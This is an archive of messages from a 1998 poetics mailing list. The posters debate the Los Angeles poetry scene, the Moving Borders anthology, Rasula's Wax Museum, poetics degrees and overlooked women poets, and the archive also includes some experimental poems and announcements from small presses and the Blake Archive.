In regards to Todd's statement, basically this is a complaint I hear from all of the poets in L.A. Everyone feels displaced here. Personally I like that feeling! Very Nat West!!

Los Angeles is not about dialogue. It is about action and promotion. And one can't be angry at the L.A. Fest. They are what they are! Imagine a poetry conference in Las Vegas. Well L.A. is not that far off. Plus poetry will always be small compared to other arts. This is neither a good or bad thing. Yes the same faces show up at the readings. But they are nice faces! And L.A. is not really a community except for the movie biz... and of course various gangs, art dealers, and lonely ex & current Art Directors for non-profit org.

Tosh Berman
TamTam Books

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491. **Maria Damon**
Re: teaching poetry network...
Fri 17 Jul 1998

---

well said, though do we all deserve the abuse (humorous to be sure) of the last coupla sentences.

At 11:14 AM -0400 7/17/98, daniel bouchard wrote:
>Henry, or Hank, or buddy--whatever:
>
>You have read poetry widely. You love to talk about it. You have a high
>level of sophistication in discussing it. You have a sense of humor
>discussing it. You feel comfortable bringing theory into the discussion too,
>but do not allow it to eclipse the "primary text." You refrain from
>employing the careful academic buzzwords that often litter poetic
>"discourse." You are usually bullshit-free. You're not afraid of looking
>like an ass. (Not at all.) In fact, listening to you talk about poetry makes
>me often want to seek out new work I haven't yet read. You make me feel like
>I have a lot of work to do but don't make me feel like an idiot for feeling
>so. And you have nothing really to gain from any of this. Therefore, I find
>it astounding that Christine Bustany, or any student, or any person, could

>mistake you for a university professor.
>
>Hope to see you this weekend.
>
>daniel bouchard
>
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>At 10:55 AM 7/17/98 EDT, Henry Gould wrote:
>>Dear poetics, maybe some teachers among you could help out here. Do I
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>>I am a student of Brown University and presently working in paris as an
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>
><<<<<<>>>>>>>>>>>>>>>>
>Daniel Bouchard
>The MIT Press Journals
>Five Cambridge Center
>Cambridge, MA 02142
>
>[redacted]
>phone: [redacted]
> fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<

↑ Index

492. **R. Gancie/C.Parcelli**
Meyerson radical on relativity.
Fri 17 Jul 1998

"Identification thus eliminates time from the account of cause and effect. All questions about the simultaneity or succesion of cause and effect disappear, for

time really means nothing at all in a rational account of the world. The timelessness of the logical necessity which we have already noted in deductive systems is here once more. The effect is the explication of the cause; it is the revelation of the implication of the cause. The mere unfolding of history is as unfruitful in enrichment of that earlier cause as is the process of inference with respect to implication of the cause. The range of being which we call "the actual," which is never apart from time, is explained by identification, which eliminates time entirely from the account. And thus again the crucial problem which occupies us appears: How can the permanent be significantly employed in an account of the changing? Meyerson pushes his investigation of the identifying tendency of reason in science to a stage beyond this. Not only does rational explaining ultimately eliminate time; it finally eliminates qualitative diversity and leaves us with bare homogeneous space."---from Explanation and Reality in the Philosophy of Emile Meyerson by Thomas R. Kelly---Carlo Parcelli---(These quotes are supplied by Carlo Parcelli and not R. Gancie who is innocent in the whole matter.)

↑ Index

493. **Linda Russo**

Re: interior decorating

Fri 17 Jul 1998

RE: Moving Borders:

Todd you're right. Neidecker's poem is GREAT & "major" & certainly gave me cause to refigure her place in my mental lit history. I'm still not sure she "belongs" in the anthology to the exclusion of other "forgotten women" (Kyger? I don't have the anth with me but I think she might've been left out). Any sort of lineage -- the sort histories and anthologies try to construct -- is necessarily problematic. I know Margy Sloan must've struggled and she does make a compelling case for her inclusion. I'm just glad Neidecker's in though, I'm not complaining. (Maybe this is an "uncritical" typically 2nd wave feminist response -- just being *glad* for more women writers -- and am I oldfashioned/we're *beyond* that? The fact that this text is just now recovered, after Neidecker's resuscitation several years ago, seems to suggest the contrary.)

I do think MB is sort of the come-lately Allen's New American Poetryesque come-uppance long overdue yet timely nonetheless. It probably couldn't have been done so wonderfully volumnuously at a previous date. (and your prompt, Todd, is long overdue too. Thanks for bringing it up!)

But what I found Most Compelling was the "statements of Poetics" section (as Don Allen called it in his anthology). I'd come across a lot of poetry by most of these poets (thanks by and large I must say to Peter Gannick -- many of those

included are widely published, but many others are primarily potes & poets poets -- Diane Ward, Jean Day, Maureen Owen -- or at least p&p has made them more accessible). I wish there were more "statements"! Here was an opportunity to read "poetics" by many who'd written such things for say Poetics Journal or In The American Tree -- but otherwise hard to find. Encountering Carla Harryman and Tina Darragh, for example -- again two whose poetry (plays etc) I knew -- was and is a thrill.

Linda Russo

On Wed, 15 Jul 1998, toddbaron wrote:

> *Any responses to Margy Sloan's MOVING BORDERS ANTHOLOGY--since we've talked of the damned Millenium--which never seems to come? I believe THIS is the anthology that I want to reread and that matters. If for nothing else but Margy's immense intro and Neidecker's amazing "lots" poem that opens the text. THis is a GREAT text!*
>
> *Tb (ReMaP)*

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494. **Mark Prejsnar**
Suspicion and the State
Fri 17 Jul 1998

---

i dunno---

Quite a few people have posted on the list about Rasula's book in the last two years; very few of us saw in the book what you see (that's my impression); ....

In a way it sounds much more exciting and interesting, in your reading, than the book i remember...

How about other folks who have read Rasula's Wax Museum? Do you-all agree with Henry that it is characterized by "total suspicion" as a theory of social reality? That it's paranoid about the State as a force of control??

Lurid and compelling terms. Much as i loved the book, i don't recall it's being **that** interesting!

mark p.
@lanta

On Fri, 17 Jul 1998, Henry wrote:

> *Mark, the Lowell puppet or not-puppet issue is not that interesting in itself; I pointed it out as an example of what seemed more questionable about WAX, which is, for a lack of a better phrase coming to me, the "total suspicion" theory of social reality; Lowell is a puppet because EVERYTHING is under*

> *a form of "control", and the State is ONLY a form of control. My view is the state is a form of organization, that moving from monarchy to democracy was an advance, that those who fought for democracy didn't die in vain, that there is a long way to go - and Rasula's critique of war, manipulation, and conformity is a step forward - but to say government is pure malevolence and control, and that therefore culture, museums, poems, and people fall like puppet-dominoes - well, I say that's stretching it. It's like what I said about his "diorama" effect in his own museum : location is everything; if you can show how the whole culture is duped by evil forces of control then your heroes in the alternative poetry world only seem more heroic; and as I tried to point out I think Rasula really shows how great that resistant tradition is!! But I am here to remind that the left and its poets is capable of distortion and mental blinders too, of demeaning and belittling what they don't understand; and that the most desolate cultures are those built on fantasies of victory over the "enemy" actually being FULFILLED - with all the littered corpses of the vanquished foe lying about under the monuments whose languages they can no longer decipher.*
> *- Henry Gould*

↑ Index

495. **sylvester pollet**
Re: global branding & T&W
Fri 17 Jul 1998

At 1:01 PM -0400 7/17/98, Jordan Davis wrote:
>Sylvester --
>
>Yes, Poets & Writers is terrific to find out which student of whom won
>what prize, and to find out which prizes are about to be given out to
>which people from where, or how to sign a book, but if you want
>information about teaching writing and reading to K-12 students (or
>college, for that matter), you more likely want to talk to Teachers &
>Writers.
>
>Toll free 1-888-BOOKS-TW,
>or http://www.twc.org
>or [redacted]
>
>Hotcha --
>Jordan Davis

Oh my god, a mind failure of major proportions. That's what I meant, of course. It's been over 9o here several days & I'm melting. I'll send a correction Thanks. S.

↑ Index

496. **Michael Coffey**
never mind the canon, here's COMBO! -Reply
Fri 17 Jul 1998

---

what is a "michael magee journal"? i just don't now it. maybe i should. are there others out there, other m.m.j.'s?
>>> UB Poetics discussion group 07/17/98 10:04am >>>
SPLITTING CORNERS PUBLICATIONS presents...

...a HUB ROOM production...

...of a Michael Magee journal...

↑ Index

497. **Michael Coffey**
poetics and l.a. -Reply
Fri 17 Jul 1998

---

somebody wrote, and my system here doesn't identify everyone very well, so sorry, somebody, but as follows: \ "In regards to Todd's statement, basically this is a complaint I hear from all of the poets in L.A. Everyone feels displaced here. Personally I like that feeling! Very Nat West!!

Los Angeles is not about dialogue. It is about action and promotion. And one can't be angry at the L.A. Fest. They are what they are! Imagine a poetry conference in Las Vegas. Well L.A. is not that far off. Plus poetry will always be small compared to other arts. This is neither a good or bad thing. Yes the same faces show up at the readings."

to which i must add (if douglas messerli hasn't already weighed in here) that l.a. is the center of avant-garde publishing in america. sun & moon is doing 50 books a year (50 BOOKS A YEAR!), with an interest mainly in getting these books into print, as published objects (of which one, i have to say, is mime). other small presses, understandably, take another tack, trying to publish many, many fewer books and publishing them with more attention, perhaps, while douglas, it seems to me, is commited to getting these books into the public world, where they can live and be found by those so motivated.

now, to hear people complaining about the scene out there, being too intimate and not public enough, or, on the other hand, that it is all about "action and

promotion" : i wonder what in the hell people want. Douglas is getting the work done, at great risk and with tremendous toil, not to mention the joy that he will telll you about if you happen to talk to him. He is doing his salon, it is ongoing, it is tireless, and so, it seems, is he; whoever is doing the "action and promotion" that is complained about, well i don''t know. But let's be clear: the avant-garde, risk-taking major publisher of innovative work, in translation, third world and otherwise is on Wilshire Blvd. And you can go there to hear work and talk and have a wine. Or two. What was the LA poetry scene, perhaps someone can say, when S&M was in College Park, Md. something mighty less, I would guess.

↑ Index

498. **toddbaron**
(no subject)
Fri 17 Jul 1998

Tosh: I wasn't attacking anything. It does seem an Agelino thing to defend this city when not necessary. I was comparing other cities because there are things going on there that promote dialogue and the communtiy of poetics. I'm afraid LA doesn't! Ocasionally there are great thing--The Italians reading here was marvelous--but really the same faces showed up for them as for anyone else--yes yes I can hear you sigh--but I was there too--I simply would like to see the boundaries broken down more. THE LA FEST. scence has funding--but the people that go there go for entertainment--the festitival renounces by not including such amazing LA poets as Fanny Howe and Diane Ward--because they "don't fit in". I sat on a panel years ago of "Language Writers" along with Fanny, Doug, Paul, and Bob Crosson! THis wasn't proper but we did it! Fanny was the only one that cold claim to be involved with Language writing historically--but the director of the series didn't know what was what--she even admited that in front of the audience--and asked "Can we learn what this writing is about--it hardly ever makes any sense---! " And that was the last time the "Fest" did anything out of the ordinary! This city is famous for Chares Buk.'s poetry--not the wondrous avante guarde tradition it USED to have!

THat I will continue to bemoan as the pets I know that reside here get pushed aside for more "mainstream" poetics. THAT is truly an LA profile. Look at the LA Times! THe times--our 'offical' rag--has a policy of NOT publishing reviews of works by local poets! Not local fiction writiers--only local poets! Once a week they publish the likes of Carolyn Force and such--but they won't even mention their own poets! THAT's why I bemoan--loudly--the state of affirs--and no one can truly think this a vibrant poetics community! I've had friends move in the past year who need to be able to weekly go to readings and lectures--and they didn't find them here--and boy--they tried!

Oh well. I am obvously saying this because I will not give up! And yes--I will read there and "there" even while I bemoan the "no thereness" of the place.

Tb
(ReMap)

↑ Index

499. **maz881**
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Fri 17 Jul 1998

Todd wrote:

<<when poetry and poetics is at risk--when "groups" form that exclude other "groups"-when groups are thought to exist where there are none--etc. >>

i think it's always at risk mr barron. that's the fun part of it. tho i think i recognize the situation you're describing. group thingness that has no permeable boundaries. i found this situation when i lived in nyc. ear inn people would not go to newyorican, poetry project people would not go to segue, etc etc. and then you could easily map the people who wouldn't go certain places with the way they wrote. ie. they wrote in ONE rather, as blake would have it, newtonian way.

but then also you would run into the more gregarious types who would go to everything, yet still somehow maintain a close circle of friends and "some" kind of approach to poetry that was unique to who they were. i guess i mean their poetry had a sense of honesty and diversity. as easy as it is to leave d. rothschild out of anthologies and dismiss him as a crank who doesn't know the english language, he is one of these. i salute his various field.

Bill Luoma

↑ Index

500. **Gwyn McVay**
forgotten women
Fri 17 Jul 1998

>>Todd you're right. Niedecker's poem is GREAT & "major" & certainly gave me cause to refigure her place in my mental lit history. I'm still not sure she "belongs" in the anthology to the exclusion of other "forgotten women" (Kyger? I don't have the anth with me but I think she might've been left out).<<<

One of the things I'm liking about the new Spicer bio is the way it shows Kyger as poet and participant in a blossoming poetry scene--a fuller sense of her, not

just as "Gary Snyder's wife" (or "ex" etc.) & thus, by extension, the SF/Berkeley renaissance as about more than just its famous men. Helen Adam also gets a fuller treatment than she has elsewhere.

Gwyn

↑ Index

501. **Laura E. Wright**
Re: Poetix programs
Fri 17 Jul 1998

---

toddbaron wrote:

> *You're right--ok then--here's question: dumb as it sounds: why would one get a degree in Poetics? Against ALL odds I've formed a teaching career--but Robert Duncan used to say--"you're not getting a job out of this..." and so--aside from th knowledge--aside from the study--why a degreed program? Black Mountain--while degreed--turnd out few "degreed" writers--but they did not care!*
>
> *Tb*

Hm. This gets really personal, so I'll speak for myself. This also relates to the various poetry and money threads of the recent past, does it not?

I went to music school and then poetics. Neither time did I expect a career to arise directly from the education. I think education solely as a means to a job, while practically unavoidable today, is a recent concept, springing from education no longer being available only to the financial/social/cultural elite. Maybe my path marks me as an elitist?

At any rate, music was even worse, because it's so demanding (time, energy, presentable attire, instrument, sheet music, etc.) and when one works in the field, it's usually demeaning (bad music, disrespect, etc.). At least with poetry, one can write late at night and the neighbors don't complain. And the tools are a lot cheaper.

So, why go to school? I did it because it was a way to focus for 2 years on my writing, and take my own work more seriously. A friend once said "I bought 2 years
to write." Also, and more to the point, I had a blast. This was fun. I got to read and write and call it work. I once had a roommate who collected "useless degrees"
-- he had an MA in theology and was working on one in psychology. He was a lot of
fun to talk to, and he made a living as a carpenter.

Yours in impracticality,
Laura W(hy not)
--
Laura Wright
Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]
* * * * * *
"All music is music..." -- Ted Berrigan
    *   *   *   *   *   *
"It is very much like it" -- Gertrude Stein

<HTML>

<P>toddbaron wrote:
<BLOCKQUOTE TYPE=CITE>

<P>>

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<DIV ALIGN=right></DIV>
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Laura W(hy not)

--

Laura Wright

Library Assistant

Allen Ginsberg Library, The Naropa Institute

2130 Arapahoe Ave

Boulder, CO 80302

[redacted]

 * * * * * *

"All music is music..." -- Ted Berrigan

     *
*
*   *
*
*

"It is very much like it" -- Gertrude Stein

 </HTML>

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↑ Index

502. Mark Prejsnar
Re: forgotten women
Fri 17 Jul 1998

Didn't Michael Davidson give Kyger quite a lot of respectful attention in her own right, in his book, the San Fancisco Renaissance??

It has been some years since i read it, may or may not be recalling it accurately.....

mp

On Fri, 17 Jul 1998, Gwyn McVay wrote:

> *Todd you're right. Niedecker's poem is GREAT & "major" & certainly gave me cause to refigure her place in my mental lit history. I'm still not sure she "belongs" in the anthology to the exclusion of other "forgotten women" (Kyger? I don't have the anth with me but I think she might've been left out).<<<*
>
> *One of the things I'm liking about the new Spicer bio is the way it shows Kyger as poet and participant in a blossoming poetry scene--a fuller sense of her, not just as "Gary Snyder's wife" (or "ex" etc.)*
> *& thus, by extension, the SF/Berkeley renaissance as about more than just its famous men. Helen Adam also gets a fuller treatment than she has elsewhere.*
>
> *Gwyn*

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503. **toddbaron**
Re: Poetix programs
Fri 17 Jul 1998

---

thanksLaura E. Wright wrote:
>
> Maria Damon wrote:
>
> > At 8:02 AM +0000 7/17/98, toddbaron wrote:
> > >It sounds like the group consensus is--paraphrased--so far--that a
> > >poetics dept. doesn't really affect the poets involved! Otherthan the
> > >standard--I studied this and studied that! I wonder...what about the
> > >idea of beiung in large groups of poets and poet-teachers--and readers!?
> > >Isn't this a different world than one re-enters after grad?
> >
> > this consensus seems to me to underestimate the power and varieties of
> > "influence." of course people would claim to not be influenced by their
> > poetics department; even in a post-structuralist world people have some
> > investment in their own "originality," or at least might not see the
> > influence of anything as banal as an institution.
>
> Todd, Maria, et al:
> I didn't mean to imply lack of influence. Rather, the influence is quite
> varied and not necessarily corresponding directly to the public image of the
> program. And the influence goes beyond the program itself. For instance, I've
> been influenced greatly by Anselm Hollo -- but also influenced by Rachel

> Levitsky, whose work is very different from what one might consider the
> Naropa canon. And my experience may not be representative. By the time one
> gets to grad school, I hope, one has learned to glean what one wants to from
> a situation, rather than simply ingesting and regurgitating. I'm sure my
> influences elsewhere would have been equally different and unpredictable.
> Maybe someone could get a grant to attend graduate writing programs at
> numerous schools and document the effects on their own writing :-{)
>
> Laura W.
> --

>
You're right--ok then--here's question: dumb as it sounds: why would one get a degree in Poetics? Against ALL odds I've formed a teaching career--but Robert Duncan used to say--"you're not getting a job out of this..." and so--aside from th knowledge--aside from the study--why a degreed program? Black Mountain--while degreed--turnd out few "degreed" writers--but they did not care!

Tb

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504. ken|n|ing
[publication announcement]
Fri 17 Jul 1998

After somewhat of a delay, I am happy to be:

ANNOUNCING KENNING #2, A NEWSLETTER OF CONTEMPORARY POETRY, POETICS, AND NON FICTION WRITING.

Featuring:

A. L. Nielsen,
Emily Wilson,
John M. Bennett,
Keston Sutherland,
Ron Silliman,
Alfred Arteaga,
Andrew Levy,
Katy Lederer,
Alice Notley,
Taylor Brady,
Liz Waldner,

Paul Silvia,
Jen Hofer,
Heather Fuller and Rod Smith,
and Spencer Selby.

A subscription beginning with this most current issue is $9.50. You will receive a hand printed portfolio/slip case to accomadate the loose leaf pages which comprise issues 2 and 3.

A single copy of issue 2 is available for $5.00. Non-subscribers receive staple-stitched editions.

In the coming weeks, Kenning #2 will appear on the shelves of Cody's & City Lights in the bay area, Bridge Street Books in D.C. As many of you know, you may place orders with the kind people at Bridge Street via e-mail. In stores, Kenning is staple-stitched, with a hand printed cover of tough stock paper for that commodified tactile sensation.

Anyone willing to help distribute Kenning is welcome to contact me at this e-mail address to discuss your ideas. Kenning is a not-for-profit, non-institutional, out-of-pocket enterprise based on the notion that poetics is an integral facet of progressive social discourse.

Forthcoming issues will include the work of Hoa Nguyen, Charles Bernstein, Lisa Jarnot, Ida Yoshinaga, Peter Ganick, Daniel Bouchard, and many more.

The premier issue of Kenning is available for a limited time, $4.00 from the editor, featuring: Mark Wallace, John Kinsella, Daniel Zimmerman, Juliana Spahr, Summi Kaipa, Michael Angelo Tata, John Lowther, Ryan Whyte, and Stephen Ellis. You might also check for it now at the book sellers listed above.

Mail order from the editor, Patrick F. Durgin, to whom you should make out your checks, and use the address below. I look forward to hearing from you.

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k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

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505. ken|n|ing

Susan Schultz?

Fri 17 Jul 1998

Hi. Sorry to clog the list with this, but I'm trying to track down Susan Schultz, who has not been responding to e-mail lately. If anyone knows how to

contact her, I'd appreciate your help. I have to bring something to her attention a.s.a.p. Back channel please. thanks Patrick F. Durgin

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a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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506. **toddbaron**

Re: interior decorating

Fri 17 Jul 1998

---

yes--margy did work hard! almost to the exclusion--NO--to the exclusion of all else in her life. She said in her statement exactly why there are folks there and some folks not--and the Neidecker piece seems to be explained beautifully. No, we not beyond any discussion that continues to be one. Lately all sorts of news on the radio (KPFK here) about post-feminist ideologies and--to my mind--we need more more more! The entire thing (and I live in a "hip-hyped city") about RETRO crap from the seventies that mostly benefit men: strip joints--martinis--cigars--steaks--causes me to URP and feel as if all the work done prior has falled into NOWHERE. These "kids" and their dang styles--don't they know they'll die from 'em? --my parents did! . But seriously--I am certain that this anthology came out at specifically the most important time. I urge everyone to buy it.

Margy deserves the biggest applause. Yes, other anthologies are out there--but I deny anyone to find one with this gaze--this field of force.

thansk for replying--
Others?

Tb
(ReMap)

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507. **Billy Little**

Re: la scene/ vispo book - writers forum 750th publication

Fri 17 Jul 1998

---

to tell you the truth this whole discussion makes me feel so much better because often after a poetry evening where eight-twelve people attend i go home telling myself billy why do you even bother. then i think of far off hollywood where all the millionaires, speilberg, stallone, woody allen, coppola, shirley

mclaine, lina wertmuller, max von sydow, arnold, they've all got a poet or two on the payroll, one for the limo and one for the poolside, i'd be a poolside poet, lighting the cigars of sly's girlfriends, reciting the communist poems of Pasolini in the original Italian. I've heard it was becoming a trend in other cities, if you dined in Le Cirque you just had to have a poet or you didn't rate. the attorney general it is rumored is looking into putting a poet or two on the payroll, just because we work for the government doesn't mean we aren't millionaires he jested, and millionaires must have poets or whats a million mean. maybe defense and health will follow and establish rival poets in their baileywickes, the FBI poet will write poems in bulletholes and the cia poet in blood shipped fresh daily. Milosz @ Pentagon! Ackermann @ Environment! [redacted]! Mark my words there's going to be lots of jobs for poets, so study hard boys and girls and learn a second language.

the millionaire's tongue,

billy little

visible otherance

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

508. Gwyn McVay
Kyger/Renaissance
Fri 17 Jul 1998

Mark P., should have been more clear, I didn't mean in *that* book, which is quite fine, but more in a nebulous "popular concept" or less thorough print sources--no diss on anyone else was intended, just kudos for the presentation of women writers and artists in the Spicer bio.

Gwyn

↑ Index

509. **Tosh**
Re: poetics and l.a. -Reply
Fri 17 Jul 1998

> *now, to hear people complaining about the scene out there, being too intimate and not public enough, or, on the other hand, that it is all about "action and promotion" : i wonder what in the hell people want. Douglas is getting the work done, at great risk and with tremendous toil, not to mention the joy that he will telll you about if you happen to talk to him. He is doing his salon, it is ongoing, it is tireless, and so, it seems, is he; whoever is doing the "action and promotion" that is complained about, well i don''t know. But let's be clear: the avant-garde, risk-taking major publisher of innovative work, in translation, third world and otherwise is on Wilshire Blvd. And you can go there to hear work and talk and have a wine. Or two. What was the LA poetry scene, perhaps someone can say, when S&M was in College Park, Md. something mighty less, I would guess.*

And I might add he has a great bookstore at that location too, as well as a nice website. Sun & Moon rocks!

ciao,
tosh

Tosh Berman
TamTam Books

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510. **Tosh**
Re: la scene/ vispo book - writers forum 750th publication
Fri 17 Jul 1998

Billy understands the business of poetry like no one. And one who lives in Los Angeles, he's got the poet's life down pat. Oh by the way, has anyone on this list seen HENRY FOOL?

Tosh Berman
TamTam Books

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511. toddbaron
Re: lit. scene in LA. --Cal-arts/ Moving Bdrs anth
Fri 17 Jul 1998

[redacted] wrote:
>
> Todd wrote:
>
> <<when poetry and poetics is at risk--when "groups" form that exclude other
> "groups"-when groups are thought to exist where there are none--etc. >>
>
> i think it's always at risk mr barron. that's the fun part of it. tho i think
> i recognize the situation you're describing. group thingness that has no
> permeable boundaries. i found this situation when i lived in nyc. ear inn
> people would not go to newyorican, poetry project people would not go to
> segue, etc etc. and then you could easily map the people who wouldn't go
> certain places with the way they wrote. ie. they wrote in ONE rather, as blake
> would have it, newtonian way.
>
> but then also you would run into the more gregarious types who would go to
> everything, yet still somehow maintain a close circle of friends and "some"
> kind of approach to poetry that was unique to who they were. i guess i mean
> their poetry had a sense of honesty and diversity. as easy as it is to leave
> d. rothschild out of anthologies and dismiss him as a crank who doesn't know
> the english language, he is one of these. i salute his various field.
>
> Bill Luoma
I would say tho--that the "fun" I'm afraid is not truly fun for the
aesthetic and principal of the politic--that said--I spend many years in
Show Business--and cruelty never formed--nor did borders there--any work
to be pursued--only to be conquered.

Tb
ReMap

↑ Index

512. Alan Jennifer Sondheim
Difficult and Delicate Matter
Sat 18 Jul 1998

-

Difficult and Delicate Matter

Well, I have a good deal of diary material from Kathy Acker, 1974 and earlier; some of it is in the form of letters or texts directly to me, and some of it is revised carbon copy, and some of it is mimeograph. None of this has been published. So I write to someone I know who writes to someone he knows and finds out I cannot in fact quote from the words of the diary, which belong to the estate of Kathy Acker, although I can paraphrase the words which she has written.

But then, who can check up to make sure I am paraphrasing accurately? For example, if I write, that Kathy says on March 1, 1974, that she wishes me dead, then I am writing a fabrication; there is no such state- ment. Which is not to say that Kathy did not wish me dead on that date - only that I do not have such material in my possession.

What Kathy does say is that I am her father and she wants to experiment to see how close she can get to me. She also states that I help her, al- though later I am sure she would not have felt this way. But what are these statements, in light of the fact that they are neither quotations nor content that you may ascertain for yourself?

To be sure, if you visit me in Brooklyn, then I might deign to show you the original material, and you could decide for yourself, providing I did not fabricate such as well - forging a signature, duplicating, etc., from texts I composed for whatever reason.

Kathy says she doesn't understand who she is and doesn't understand a lot of my writing, and I wonder, would she understand this text and ap- prove of it? It is easy to circumscribe, literally, the dead, who are given and given up without recourse; mourning is a moment astride the real, returning the world to itself, and these textual gifts back to a present life, harboring and framing the past.

But this is not about mourning. Kathy says I understand everything she writes and that she understands what I say directly to her. She says she feels as if we're twins joined together, as if I'm protecting her. She continues speaking about power, about my taking power from her, which later became an issue between us, appearing later in the videos we did together (and within what jurisdiction are those spoken words now, as well as those words written on the screen, as well as those unspoken words in her eyes?).

She ends this particular section by saying she doesn't want parents, and wants to know what's happening. She's remembering, and describes a white shawl and a red-brown dress, blankets. Then there is half a page of blank space, and she's into a second, carbon-copied part, about Peter, with a different title as well. Could I quote the different title? I would choose not to, insisting on paraphrase.

Kathy was trying to map out her consciousness; _she says so, in so many words._ I attempt to interface with virtual subjects, dreams, ghosts, machines, mournings, technologies, internets, those moments of syncope described by Clement in Syncope, holding itself back in the throat. "temporary loss of consciousness from fall of blood-pressure," and I feel comfortable quoting from the living Concise Oxford; so many texts begin with dictionary definitions, and this one ends with one.

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513. Daniel Carter
assume the position!
Sat 18 Jul 1998

up here where it is not known (knot-node) before hand or be forehead what might comb itself out the nothing-nest

swooner or rate her a swell-ass hem an article or particle of clothing in on the flavor-writes how swarming

might o' could o' had the versed part last wronger 'til now new and the so-culled end to begin beaconly rest next text as well as texterior

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

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514. Daniel Carter
EXCESSive multi-directionally yet well-aimed onglowing ecologically dynamic imbalance: the good vectors
Sat 18 Jul 1998

itching aching I-Ching location left up top where before the sign for void not literally nothing or no thing although there might well have pen nothing the air itself not even around nor with write-angles quantum energies fed back into wakefulness when needed a particular book off the shelf concreteness of fuel-type step to aid in not falling asleep a slip into a slip of mad gladness thinly concealed by product placement the sort of opportunism questionable under these illuminating electrical currents an example of translation at every painted entreaty the need of a moment to faintly edit the lyrical insertion wake sure t' lick all post-age invisibles t' stimulate'm to adhere add here its uncountable un-addable richness to what already is everywhere that's anywhere or so-coiled thing the ink-think and the angst-person steamed up

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

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515. **Daniel Carter**
fire-sighed chap-hook gallery 'n' guylery
Sat 18 Jul 1998

---

seed the need to get out t' fill screen rhymes with name unmentioned dear free terminal headlamp arsenal the ability to set fire to whatever you like to seethe yourself also go up in blazes 'n' flames the double or multiple multi-pli multi-plea ploy-type(e) toy pipe trouble snowed as heartbeat 'n' heartbeef proof of non- so-signed death the impossible and non-imposeable prefer an ocean-blue sea t' view t.v. through for a change in (self-)programming and thin thenly d' skies-ed return t' non-action as clickly as pose a pill

http://www.inch.com/~abz/

http://www.geocities.com/Paris/Cafe/3361/

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516. **MAYHEW**
I'm ba-ack
Sat 18 Jul 1998

The argument about Lowell begin a puppet of the new criticism goes back to Perloff's _The Poetics of Indeterminacy_; there is a nice demonstration of the way in which the early Lowell seeds his work with symbols and paradoxes in anticipation of New Critical classroom exegesis. Of course, calling him a puppet is rather crude--isn't it more of a convergence of interests? The New Critics might be Lowell's puppets just as plausibly.

The Rasula analysis of Lowell is devastating and for me irrefutable; this does not mean that Lowell does not transcend his "institutional" role within the wax museum, but I am not the person to ask since my aversion to Lowell's work is tempermental and visceral. I realize he is hugely accomplished and great in his own way--I just can't stand him.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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517. **Michael Magee**
Re: never mind the canon, here's COMBO! -Reply
Sat 18 Jul 1998

---

parody, parody, parody, my friend. -m.

According to Michael Coffey:
>
> what is a "michael magee journal"? i just don't now it. maybe i should. are
> there others out there, other m.m.j.'s?
> >>> UB Poetics discussion group 07/17/98 10:04am >>>
> SPLITTING CORNERS PUBLICATIONS presents...
>
>
>
>
> ...a HUB ROOM production...
>
>
>
> ...of a Michael Magee journal...
>

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518. **Joe Amato/Kass Fleisher**
signing off for a spell...
Sat 18 Jul 1998

---

ok folks, gonna sign off the list for a month or so, leaving chicago for points west... if you need to reach me, please just post my address and i'll try to telnet in once or twice in the coming month... need to give my pinkies/eyes/etc a rest from terminal delights...

hey, keep the good vibes flowing!...

best,

joe

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519. Catherine Daly
LA Lit Orgs
Sat 18 Jul 1998

It seems to me that if place is the problem, it should be simple enough to invade some den of mediocrity. It seems to me that Sun & Moon and Cal Arts have begun a pretty effective invasion of LACMA. What about MOCA? What about the science museum with the 50 foot woman in it?

The "Buk. School" is ABOUT self promotion. The performance poets are also _everywhere_. Incommunicado and Manic D and 2.13.61 have done good music industry-style promotion for lit. (as well as celebrity publishing, but well).

I think of all the celebs writing books now. By and large, they seem to read at either their local independent bookstore or local B&N rather than do a tour of shopping malls or record stores or whatever. It is a bid for legitimacy. Where promotion is work, to not promote may seem genuine.

As for Bel Air and Fifth Avenue, who cares? Except that British Vogue reviews poetry, you know. Here in LA, I'm mostly told, "Oh yeah, I published poetry in Ploughshares, The Harvard Review, got into the Best blah blah of some year, but then, then I started writing for _Blossom_. Now, I don't have to write." Maybe it's not so bad to be here! If you really suck, they'll throw a lot of money at you and you'll stop writing.

Catherine Daly
[redacted]

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520. Matt Kirschenbaum
Blake Archive's July Update
Sat 18 Jul 1998

The latest news of work completed here at the Blake Archive. Apologies for cross-posting. Please forward as appropriate. Matt K.

--

The editors of the William Blake Archive <http://www.iath.virginia.edu/blake> are pleased to announce the publication of six new electronic editions of Blake's illuminated books. They are:

All Religions are One copy A
There is No Natural Religion copies B, C, G, and L
Milton, a Poem copy C

Composed and executed in 1788, _All Religions are One_ and _There is No Natural Religion_ are Blake's first works in illuminated printing, though no copy of either work survives from this date. The ten plates of _All Religions_ were followed quickly by twenty _No Natural Religion_ plates in two antithetical sets (a and b series). Only one copy of _All Religions_ is extant, now in the Huntington Library, printed c. 1795 with and in the same style as _There is No Natural Religion_ copy L, the only copy consisting exclusively of the ten b-series of plates, now in The Pierpont Morgan Library. The other twelve recorded copies of this book consist of a mixture of the same eight to twelve plates, which appeared to be merely incomplete sets of proofs until it was discovered that six of these copies were 19th-century reproductions. Once the inauthentic impressions were weeded out, it became apparent that what remained was Blake's selection of a and b plates for an abridged version of the work printed around 1794. We present copies B, C, and G of this twelve-plate work, now in the collections of the Yale Center for British Art, Library of Congress, and The Pierpont Morgan Library, respectively.

There are only four copies of _Milton_, Blake's most personal epic. Copy C, from the New York Public Library, was Blake's own copy. Printed c. 1811, it was later reconfigured and renumbered by Blake when he inserted extra plates, which he appears to have done on at least two different occasions.

All of these editions have newly edited texts and are all fully searchable for both text and images and supported by the unique Inote and ImageSizer applications described in our previous updates.

